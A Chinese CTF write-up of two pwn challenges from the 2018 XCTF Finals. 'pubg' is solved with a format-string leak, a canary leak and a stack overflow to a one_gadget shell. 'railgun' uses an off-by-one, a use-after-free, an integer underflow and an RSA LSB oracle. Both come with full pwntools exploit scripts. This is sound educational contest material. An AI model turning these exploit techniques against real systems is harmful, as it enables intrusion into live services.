跟随航神、肖神等一众大神参加了2018 XCTF Finals
虽然最后成绩不太好(我就是唯一拖后腿那个),但跟着大佬们学到很多东西
而且第二天pwnhub线下沙龙抽中了华为P20(happy&&会上干货满满,感受到大佬们的强大)
感谢几位学长带飞,这里整理一下几个题目,因为是Finals,写的比较详(zhi)细(zhang)
0x01 pubg
分析
首先可以看到存在格式化字符串漏洞:
for ( j = 0; j <= 3; ++j )
{
if ( s[j] != buf[j] )
{
printf(s); // 格式化字符串
puts(" has no airdrop");
return __readfsqword(0x28u) ^ v4;
}
}
不过:
for ( i = 0; i <= 2; ++i )
{
if ( strstr(s, (const char *)*(&off_564C5C3D70B0 + i)) )
{
puts("error!");
exit(-1);
}
}
其对输入进行了过滤:
.rodata:0000564C5C1D57A6 unk_564C5C1D57A6 db 24h ; $ ; DATA XREF: .data:off_564C5C3D70B0↓o
.rodata:0000564C5C1D57A7 db 0
.rodata:0000564C5C1D57A8 unk_564C5C1D57A8 db 6Eh ; n ; DATA XREF: .data:0000564C5C3D70B8↓o
.rodata:0000564C5C1D57A9 db 0
.rodata:0000564C5C1D57AA unk_564C5C1D57AA db 2Ah ; *
输入的字符串不能包含"$"/"n"/"*"
这里patch的时后改printf为puts不能过check
最后我将"*"改为"%",过滤掉"%"
不过有一支队伍一直可以打过来,猜测是一直连着我们的shell,没有断开
最后在流量中果然只有一句"cat flag",orz
这里可以利用"%x%x%x%p"来leak libc
同时第二个%x会leak edx的值:
.text:000055FCB7F095D2 movzx ecx, [rbp+rax+s]
.text:000055FCB7F095D7 mov eax, [rbp+var_24]
.text:000055FCB7F095DA movsxd rdx, eax
.text:000055FCB7F095DD lea rax, buf
.text:000055FCB7F095E4 movzx eax, byte ptr [rdx+rax]
.text:000055FCB7F095E8 cmp cl, al
.text:000055FCB7F095EA jz short loc_55FCB7F0960B
.text:000055FCB7F095EC lea rax, [rbp+s]
.text:000055FCB7F095F0 mov rdi, rax ; format
.text:000055FCB7F095F3 mov eax, 0
.text:000055FCB7F095F8 call printf
可以看到:
edx->eax->rbp+var_24->当前循环j值->已经猜对的位数
因此利用第二个数可以很快爆破出三位password(第四位恒为"\x00")
继续往下可以看到栈溢出:
unsigned __int64 fight()
{
__int16 v1; // [rsp+4h] [rbp-Ch]
__int16 v2; // [rsp+6h] [rbp-Ah]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = 0;
v1 = 0x20;
puts("the robot has ghillie suit, so you can only see it once");
while ( *(_DWORD *)(98k + 20) > 0 && *((_DWORD *)my_gun + 5) > 0 )
{
*((_DWORD *)my_gun + 5) -= *(_DWORD *)(98k + 16);
if ( v2 == 1 )
*(_DWORD *)(98k + 20) -= *((_DWORD *)my_gun + 4);
++v2;
}
if ( *((_DWORD *)my_gun + 5) <= 0 )
{
puts("You're killed by 98K");
}
else
{
puts("Winner winner,chicken dinner. The whole memory is yours, now pick one chicken:");
leak_any(&v1);
}
return __readfsqword(0x28u) ^ v3;
}
可以看到当fight成功时会调用leak_any(&v1)
这里注意:
__int16 v1; // [rsp+4h] [rbp-Ch]
__int16 v2; // [rsp+6h] [rbp-Ah]
而在leak_any中:
unsigned __int64 __fastcall leak_any(_DWORD *a1)
{
__int64 v1; // ST18_8
LODWORD(read_size) = *a1;
v1 = get_num_();
printf("The %s chicken is on your plate, enjoy it~\n", v1);
return get_flag();
}
会将传入的参数视为DWORD*
所以,当传入参数时fight的v2不为0, LODWORD(read_size) = *a1;则会将read_size设置为一个很大的数,而在get_flag中:
unsigned __int64 get_flag()
{
char s; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&s, 0, 0x20uLL);
read_note((__int64)&s, read_size);
return __readfsqword(0x28u) ^ v2;
}
可以看到会 read_note((__int64)&s, read_size),当read_size非常大时便会栈溢出(s的缓冲区长度->0x30-0x8=0x28)
故而:
1 需要fight成功(至少调用过fight的while循环,此时v2一定不为0)->栈溢出
2 栈溢出需要leak canary
根据程序流fight成功只需要拿到AWM即可(爆破3位password)
leak canary:
首先想到使用libc地址leak _environ,然后找到栈中一个cannary的地址来leak canary,不过因为格式化字符串的长度限制,以及只有一次任意地址读,没办法实现,只能从能用leak libc后直接一步确定的地址来leak canary
这里不太明白这个地址处为何存在canary,准备研究一下canary的具体底层原理:
动态调试中,我在leak libc的那个地址(即格式化字符串中利用r8寄存器%p得到的地址)周围搜索canary,找到偏移0x28处即存在canary,然后在fight成功后有一次任意地址读取即可leak 0x29偏移处(canary最低位为"\x00",故而leak 0x28+1位置)的%s,即可得到canary
leak canary后,正常的栈溢出,覆盖返回地址为one_gadget,同时用"\x00"填充栈来满足one_gadget条件即可:
EXP
from pwn import *
def leak_libc():
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(":\n")
p.sendline("%x%x%x%p")
p.recv(5)
return int(p.recvuntil("\n").strip(),16)
def get_pass():
ans=""
for i in range(3):
for j in range(1,256):
payload=ans+chr(j)+"%x%x"
payload=payload.replace("$"," ").replace("n"," ").replace("*"," ")
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("\n")
p.sendline(payload)
p.recvuntil("2a")
k=p.recv(1)
if k==str(i+1):
ans+=chr(j)
break
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(":\n")
p.sendline(ans+"\x00")
#context.log_level='debug'
p=process("./pubg")
#leak libc
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.sendline("1")
libc_addr=leak_libc()-0x5cf700
print "libc:{}".format(hex(libc_addr))
#get AWM
get_pass()
#leak canary
canary_addr=libc_addr+0x5cf700+0x29
p.recvuntil("> ")
p.sendline("1")
p.recvuntil(":\n")
p.sendline(str(canary_addr))
p.recvuntil("The ")
canary="\x00"+p.recv(7)
print "canary:{}".format(hex(u64(canary)))
#get shell
p.recvuntil("~\n")
payload="a"*0x28+canary+"a"*8+p64(libc_addr+0x4526a)+"\x00"*0x40
p.sendline(payload)
p.interactive()
0x02 railgun
比赛时候飞神第一天晚上秒的题(膜启飞学长),照着exp复现一下:
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed __int64 v3; // rsi
int v4; // eax
signed int i; // [rsp+4h] [rbp-1Ch]
signed int j; // [rsp+4h] [rbp-1Ch]
signed int v8; // [rsp+8h] [rbp-18h]
int v9; // [rsp+Ch] [rbp-14h]
int v10; // [rsp+Ch] [rbp-14h]
char nptr[5]; // [rsp+13h] [rbp-Dh]
unsigned __int64 v12; // [rsp+18h] [rbp-8h]
__int64 savedregs; // [rsp+20h] [rbp+0h]
v12 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
setvbuf(stderr, 0LL, 2, 0LL);
info1();
sha256__0();
flag_enc();
while ( 2 )
{
v8 = menu();
switch ( (unsigned int)&savedregs )
{
case 1u:
puts("[+]modify player information");
printf("[-]description:", v3);
v4 = read_nSize((__int64)description_addr, 255);
*((_BYTE *)description_addr + v4) = 0;
printf("[-]name:", 255LL);
v3 = 32LL;
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;
continue;
case 2u:
puts("[+]mining coins");
if ( (unsigned __int8)sha256_() )
{
v3 = (unsigned __int8)++coin_num;
printf("[+]success! coinnumber:%d\n", (unsigned __int8)coin_num);
}
continue;
case 3u:
puts("[+]game status");
printf("[+]name:%s\n", &name_addr);
printf("[+]description:%s\n", description_addr);
v3 = (unsigned __int8)coin_num;
printf("[+]coin:%d\n", (unsigned __int8)coin_num);
for ( i = 0; i <= 9; ++i )
{
v3 = (unsigned int)i;
printf("[+]boss_%d level%d ", (unsigned int)i, *(unsigned __int8 *)(*(&name_addr + i + 4LL) + 16LL));
if ( *(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) )
puts("alive");
else
puts("dead");
}
printf("[+]pub:");
put_str(rsa_n);
continue;
case 4u:
puts("[+]index attack");
printf("[+]", v3);
put_str(rsa_addr);
continue;
case 5u:
puts("[+]bilibili railgun");
if ( coin_num )
{
--coin_num;
printf("[-]chose a boss:", v3);
v3 = 4LL;
nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
v9 = atoi(nptr);
if ( v9 < 0 || v9 > 9 )
{
puts("[+]bad choice");
return 0LL;
}
sub_5633C0D860EF(v9);
}
else
{
puts("[+]no much more coins");
}
continue;
case 6u:
puts("[+]accelerator attack");
if ( (unsigned __int8)coin_num <= 0xC7u || dword_5633C0F880F0 != 10 )
{
puts("[+]no much more coins or boss_9 is deleted already");
}
else
{
coin_num += 56;
free(ptr);
dword_5633C0F880F0 = 9;
puts("[+]delete boss_9");
}
continue;
case 7u:
puts("[+]comment for railgun");
if ( comment_addr )
{
v3 = (signed __int64)comment_addr;
printf("[+]%s\n", comment_addr);
}
printf("[-]comment lenth:", v3);
nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
v10 = atoi(nptr);
if ( v10 > 0 && v8 <= 256 )
{
comment_addr = malloc(v10);
printf("[-]comment:", 4LL);
v3 = (unsigned int)(v10 - 1);
*((_BYTE *)comment_addr + (signed int)read_nSize((__int64)comment_addr, v3)) = 0;
continue;
}
puts("[+]bad comment");
return 0LL;
case 8u:
puts("[+]check");
printf("[+]", v3);
put_str(qword_5633C0F882E0);
continue;
case 9u: // exit
puts("[+]bye~");
for ( j = 0; j <= 9; ++j )
free((void *)*(&name_addr + j + 4LL));
free(description_addr);
if ( comment_addr )
free(comment_addr);
BN_free(rsa_p);
BN_free(rsa_q);
BN_free(rsa_n);
BN_free(rsa_e);
BN_free(rsa_d);
BN_free(qword_5633C0F882D0);
BN_free(qword_5633C0F882D8);
BN_free(qword_5633C0F882E0);
BN_free(rsa_addr);
return 0LL;
default:
puts("[+]wrong choice");
return 0LL;
}
}
}
menu:
[+menu+]
[+]1.modify
[+]2.mining
[+]3.status
[+]4.index
[+]5.railgun
[+]6.accelerator
[+]7.comment
[+]8.check
[+]9.exit
sha256:
程序开始的检测
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("[+]create random for pow error");
exit(0);
}
if ( read(fd, &buf, 6uLL) != 6 )
exit(-1);
close(fd);
SHA256(&buf, 6LL, &v9);
printf("[+]PoW", 6LL);
putchar(58);
sub_5633C0D8520A((__int64)&v9, 32);
putchar(43);
put_hex_str((__int64)&buf, 4u);
printf("[-]PaD:", 4LL);
str2hex((char *)&v2, (__int64)&v7, 2);
*((_BYTE *)&v4 + (signed int)read_nSize((__int64)&v4, 5)) = 0;
if ( (unsigned __int8)v4 != (char)v2
|| BYTE1(v4) != SBYTE1(v2)
|| BYTE2(v4) != SBYTE2(v2)
|| HIBYTE(v4) != SHIBYTE(v2) )
{
puts("[+]bad PoW");
exit(0);
}
return __readfsqword(0x28u) ^ v14;
流程与mining coins时相同:
首先随机生成 6 bytes password
而后程序输出sha256(password)+password[:4]
要求我们破解password的后2 bytes(16进制形式输入)
flag_enc
unsigned __int64 flag_enc()
{
void *v0; // rax
int v1; // eax
__int64 v2; // rdi
__int64 v3; // rsi
__int64 v4; // rdi
__int64 v5; // rsi
__int64 v6; // rdi
__int64 v7; // rdi
size_t v8; // rax
char *v9; // rdi
signed int i; // [rsp+Ch] [rbp-264h]
unsigned int fd; // [rsp+14h] [rbp-25Ch]
int fda; // [rsp+14h] [rbp-25Ch]
__int64 v14; // [rsp+18h] [rbp-258h]
__int64 v15; // [rsp+20h] [rbp-250h]
__int64 v16; // [rsp+28h] [rbp-248h]
__int64 v17; // [rsp+30h] [rbp-240h]
__int64 v18; // [rsp+38h] [rbp-238h]
__int64 v19; // [rsp+40h] [rbp-230h]
__int64 v20; // [rsp+48h] [rbp-228h]
__int64 v21; // [rsp+50h] [rbp-220h]
__int64 v22; // [rsp+58h] [rbp-218h]
char *s; // [rsp+60h] [rbp-210h]
__int64 v24; // [rsp+68h] [rbp-208h]
char src; // [rsp+70h] [rbp-200h]
char v26; // [rsp+90h] [rbp-1E0h]
char v27; // [rsp+A0h] [rbp-1D0h]
char v28; // [rsp+C0h] [rbp-1B0h]
char dest[408]; // [rsp+D0h] [rbp-1A0h]
unsigned __int64 v30; // [rsp+268h] [rbp-8h]
v30 = __readfsqword(0x28u);
coin_num = 0;
dword_5633C0F880F0 = 10;
printf("[-]description:");
v0 = malloc(0x100uLL);
description_addr = v0;
v1 = read_nSize((__int64)v0, 255);
*((_BYTE *)description_addr + v1) = 0;
printf("[-]name:", 255LL);
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("[+]create random for aeskey error");
exit(0);
}
for ( i = 0; i <= 9; ++i ) // aeskey
{
*(&name_addr + i + 4LL) = malloc(0x12uLL);
read(fd, (void *)*(&name_addr + i + 4LL), 0x10uLL);
*(_BYTE *)(*(&name_addr + i + 4LL) + 16LL) = 5;
*(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) = 1;
}
close(fd);
rsa_p = BN_new(fd);
rsa_q = BN_new(fd);
rsa_n = BN_new(fd);
rsa_e = BN_new(fd);
rsa_d = BN_new(fd);
BN_generate_prime(rsa_p, 512LL, 1LL, 0LL, 0LL, 0LL, 0LL);
v2 = rsa_q;
BN_generate_prime(rsa_q, 512LL, 1LL, 0LL, 0LL, 0LL, 0LL);
v16 = BN_CTX_new(v2, 512LL);
BN_mul(rsa_n, rsa_p, rsa_q, v16);
BN_CTX_free(v16);
BN_hex2bn((__int64)&rsa_e, (__int64)"10001");
v17 = BN_new(&rsa_e);
v18 = BN_new(&rsa_e);
v19 = BN_new(&rsa_e);
v14 = BN_new(&rsa_e);
BN_hex2bn((__int64)&v14, (__int64)&off_5633C0D86D80);
BN_sub(v17, rsa_p, v14);
v3 = rsa_q;
v4 = v18;
BN_sub(v18, rsa_q, v14);
v20 = BN_CTX_new(v4, v3);
v5 = v17;
BN_mul(v19, v17, v18, v20);
v6 = v20;
BN_CTX_free(v20);
v21 = BN_CTX_new(v6, v5);
BN_mod_inverse(rsa_d, rsa_e, v19, v21);
BN_CTX_free(v21);
BN_free(v17);
BN_free(v18);
BN_free(v19);
v7 = v14;
BN_free(v14);
qword_5633C0F882D8 = BN_new(v7);
BN_hex2bn(
(__int64)&qword_5633C0F882D8,
(__int64)"9907cf1eb4a9c25417fb7418e8bc70098ee6d1b4c65e227d7dbc2071a812126182a02a2ae74d89ae1fea27949414ca99c01f241141b"
"db6a25ebcb9ab320952dbd200f7504f543ff18e9548841f21eca3dec535cbc4e8bd6ac547a52be99bc19e3653a643789c11006b15fe"
"8cd9b741808f9b6185f2e0efb025a51513fd6eb0df012f6c654a4b71e7f9890ef6edc7986ecf5715e7a903c0aa96367102ce25abec8"
"1f1a5c5a66a244edf0d7d382bf5facf842fabcd8a8b9852976c1c6bec4c889768b5d31f435b5124881c60b0a99696b8243ae759df71"
"86cd512e0e5fcda0e55abd6150399df8047bc45bb72c5e43e8d77473070c15c7d9472516501791e53a7d");
fda = open("/flag", 0);
if ( fda == -1 )
{
puts("[+]flag location error");
exit(0);
}
read(fda, &flag_str, 0x40uLL);
close(fda);
sub_5633C0D85356(&flag_str, 64, (char *)&unk_5633C0F88180, 72);
str2hex((char *)&unk_5633C0F88200, (__int64)&unk_5633C0F88180, 72);
rsa_addr = BN_new(&unk_5633C0F88200);
v15 = BN_new(&unk_5633C0F88200);
BN_hex2bn((__int64)&v15, (__int64)&unk_5633C0F88200);
v22 = BN_CTX_new(&v15, &unk_5633C0F88200);
BN_mod_exp(rsa_addr, v15, rsa_e, rsa_n, v22);
BN_CTX_free(v22);
BN_free(v15);
s = (char *)BN_bn2hex(rsa_d);
v26 = 0;
v28 = 0;
str2hex(&src, aes_key, 16);
str2hex(&v27, (__int64)ptr, 16);
memcpy(dest, &src, 0x20uLL);
memcpy(&dest[32], &v27, 0x20uLL);
v8 = strlen(s);
memcpy(&dest[64], s, v8);
v9 = s;
dest[strlen(s) + 64] = 0;
qword_5633C0F882D0 = BN_new(v9);
qword_5633C0F882E0 = BN_new(v9);
BN_hex2bn((__int64)&qword_5633C0F882D0, (__int64)dest);
v24 = BN_CTX_new(&qword_5633C0F882D0, dest);
BN_mod_exp(qword_5633C0F882E0, qword_5633C0F882D0, rsa_e, qword_5633C0F882D8, v24);
BN_CTX_free(v24);
return __readfsqword(0x28u) ^ v30;
}
主要是生成10组随机密钥(ptr处为最后一组):
.bss:00005633C0F88080 name_addr dq 4 dup(?) ; DATA XREF: flag_enc+92↑o
.bss:00005633C0F88080 ; flag_enc+AD↑o ...
.bss:00005633C0F880A0 aes_key dq ? ; DATA XREF: flag_enc+561↑r
.bss:00005633C0F880A8 dq ?
.bss:00005633C0F880B0 dq ?
.bss:00005633C0F880B8 dq ?
.bss:00005633C0F880C0 dq ?
.bss:00005633C0F880C8 dq ?
.bss:00005633C0F880D0 dq ?
.bss:00005633C0F880D8 dq ?
.bss:00005633C0F880E0 dq ?
.bss:00005633C0F880E8 ; void *ptr
.bss:00005633C0F880E8 ptr dq ? ; DATA XREF: flag_enc+582↑r
而后读取64位flag进行rsa加密:
BN_mod_exp(rsa_addr, v15, rsa_e, rsa_n, v22);
*rsa_addr=pow(flag+padding,e,n)//rsa_encode
程序流程
主要流程:
使用mining来获得coin
消耗coin来kill boss
kill boss后,每一个boss对应一个AES key
而后接收一次输入,返回AES_encode(pow(input,rsa_d,rsa_n)&0xF)//AES_encode(rsa_decode)
这里注意BN_bn2hex返回的字符串为BIG-ENDIAN格式:
即0x123456 -> 存储为 "\x12\x34\x56"
kill后:
printf("[-]send:");
v17[(signed int)read_nSize((__int64)v17, 2049)] = 0;
v6 = BN_new(v17);
v7 = BN_new(v17);
BN_hex2bn((__int64)&v6, (__int64)v17);
v8 = BN_CTX_new(&v6, v17);
BN_mod_exp(v7, v6, rsa_d, rsa_n, v8);
BN_CTX_free(v8);
v1 = (char *)BN_bn2hex(v7);
s = v1;
v2 = strlen(v1);
v11 = s[v2 - 1];
v12 = 'b';
v13 = 'b';
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("[+]urandom open error");
exit(0);
}
read(fd, v14, 0xDuLL);
v15 = 0;
close(fd);
memset(&v16, 0, 0x21uLL);
AES_enc(&v11, *(&name_addr + (signed int)a1 + 4LL), (__int64)&v16);
printf("[-]use coins(1/0):");
nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
v5 = atoi(nptr);
if ( v5 != 1 && v5 )
{
puts("[+]bad choice");
exit(0);
}
if ( v5 == 1 )
{
--coin_num;
printf("[+]pickup:", 4LL);
put_hex_str((__int64)&v16, 0x10u);
}
else
{
printf("[+]kill boss_%d\n", a1);
}
*(_BYTE *)(*(&name_addr + (signed int)a1 + 4LL) + 17LL) = 0;
BN_free(v6);
BN_free(v7);
return __readfsqword(0x28u) ^ v18;
漏洞
off by one
关注两次name输入过程:
初始时:
v0 = malloc(0x100uLL);
description_addr = v0;
v1 = read_nSize((__int64)v0, 255);
*((_BYTE *)description_addr + v1) = 0;
printf("[-]name:", 255LL);
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;
modify:
case 1u:
puts("[+]modify player information");
printf("[-]description:", v3);
v4 = read_nSize((__int64)description_addr, 255);
*((_BYTE *)description_addr + v4) = 0;
printf("[-]name:", 255LL);
v3 = 32LL;
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;
continue;
可以看到:
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;
*((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;
存在off by one
可以覆盖第一个aes key地址的低字节为\x00
而调试可以看到覆盖为\x00后,此aes key会落在description中
由此第一个aes key可控
UAF:
case 6u:
puts("[+]accelerator attack");
if ( (unsigned __int8)coin_num <= 0xC7u || dword_5633C0F880F0 != 10 )
{
puts("[+]no much more coins or boss_9 is deleted already");
}
else
{
coin_num += 56;
free(ptr);
dword_5633C0F880F0 = 9;
puts("[+]delete boss_9");
}
可以看到以accelerator attack来delete boss 9后会free(ptr),但没有置空指针,存在UAF
而后可以利用comment:
case 7u:
puts("[+]comment for railgun");
if ( comment_addr )
{
v3 = (signed __int64)comment_addr;
printf("[+]%s\n", comment_addr);
}
printf("[-]comment lenth:", v3);
nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
v10 = atoi(nptr);
if ( v10 > 0 && v8 <= 256 )
{
comment_addr = malloc(v10);
printf("[-]comment:", 4LL);
v3 = (unsigned int)(v10 - 1);
*((_BYTE *)comment_addr + (signed int)read_nSize((__int64)comment_addr, v3)) = 0;
continue;
}
puts("[+]bad comment");
return 0LL;
利用 comment_addr = malloc(v10)分配comment到已free的ptr的地方并覆盖,这样boss 9对应的aes key便会可控
AES
由uaf或者off by one可以控制第一和第十个aes key,之后依然可以kill boss 0/9,此时kill后因为aes密钥已知,返回AES_encode(pow(input,rsa_d,rsa_n))即可知pow(input,rsa_d,rsa_n)&0xF
int_overflow
看到kill boss后:
if ( v5 == 1 )
{
--coin_num;
printf("[+]pickup:", 4LL);
put_hex_str((__int64)&v16, 0x10u);
}
当coin_num为1时kill boss
而后再使用一个coin,此处没有检测coin_num而直接--coin_num;
便会造成整形溢出为0xFF(255)
这样会省去mining coins的时间
RSA LSB Oracle Attack:
由上可知,程序可以不断获得pow(input,rsa_d,rsa_n)&0xF
那么就可以使用类似RSA LSB Oracle Attack从低位每次得到4 bits,最终拼接为flag+padding而获得flag
其中rsa明文可用index attack得到:
case 4u:
puts("[+]index attack");
printf("[+]", v3);
put_str(rsa_addr);
continue;
rsa_e已知
rsa_n可用3输出status时得到:
case 3u:
puts("[+]game status");
printf("[+]name:%s\n", &name_addr);
printf("[+]description:%s\n", description_addr);
v3 = (unsigned __int8)coin_num;
printf("[+]coin:%d\n", (unsigned __int8)coin_num);
for ( i = 0; i <= 9; ++i )
{
v3 = (unsigned int)i;
printf("[+]boss_%d level%d ", (unsigned int)i, *(unsigned __int8 *)(*(&name_addr + i + 4LL) + 16LL));
if ( *(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) )
puts("alive");
else
puts("dead");
}
printf("[+]pub:");
put_str(rsa_n);
即:
m=a*16^x+b(a未知,b已知)
y=16^(-x)mod n
Y=y^e mod n
input=rsa_c*Y=(m*y)^e mod n
pow(input,rsa_d,n)=m*y=((a+b*16^(-x))mod n)&0xF //rsa_decode
b*16^(-x))mod n已知->可得a&0xF
其实不是&0xF,而是最后一个不是\x00的位的最低4bits:
v2 = strlen(v1);
v11 = s[v2 - 1];
或者输入rsa_c*16^(xe),最后返回为
EXP
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import *
import libnum
from pwn import *
def get_pass_sha256():
p.recvuntil(":")
sha256_encode=p.recvuntil("+")[:-1]
rand_4bytes=p.recvuntil("\n").strip().decode("hex")
ans=rand_4bytes
for i in range(0,256):
for j in range(0,256):
final=ans+chr(i)+chr(j)
if sha256(final).hexdigest()==sha256_encode:
p.recvuntil("PaD:")
p.sendline(final[-2:].encode("hex"))
def oracle_dec(cipher_rsa):
p.sendlineafter("[-]","5")
p.sendlineafter("[-]chose a boss:","0")
p.sendlineafter("[-]send:",cipher_rsa)
p.sendlineafter("[-]use coins(1/0):","1")
enc = p.recvuntil("\n").split("[+]pickup:")[1].split("\n")[0]
return encryption_suite.decrypt(enc.decode("hex"))
#context.log_level="debug"
p=process("./railgun")
encryption_suite = AES.new('a'*16, AES.MODE_ECB)
#first sha256
get_pass_sha256()
p.sendlineafter("[-]description:","a"*255)
p.sendlineafter("[-]name:","a"*31)
#off by one
p.sendlineafter("[-]","1")
p.sendlineafter("[-]description:","a"*255)
p.sendlineafter("[-]name:","0"*32)
#get rsa_c
p.sendlineafter("[-]","4")
p.recvuntil("[+]index attack\n[+]")
cipher_rsa = p.recvuntil("\n").split("\n")[0]
#get rsa_n
p.sendlineafter("[-]","3")
p.recvuntil("[+]pub:")
n = int(p.recvuntil("\n").split("\n")[0],16)
#overflow->make coin_num 0xFF
p.sendlineafter("[-]","2")
get_pass_sha256()
#RSA LSB Oracle Attack
invmod_n = libnum.invmod(16,n)
flag = int(cipher_rsa,16)
final_flag,Y,e=0,1,0x10001
for bit in range(200):
leak_M = oracle_dec(hex(flag*Y)[2:].upper())[0]
leak_m = (int(leak_M, 16)+16-((final_flag*pow(invmod_n,bit,n))%n%16))%16
final_flag += (leak_m*(16**bit))
y = pow(invmod_n, bit+1, n)
Y = pow(y, e, n)
print libnum.n2s(final_flag)[:64]
剩下的还有几个题目,队里其他大神做的,等到有时间再整理
网友评论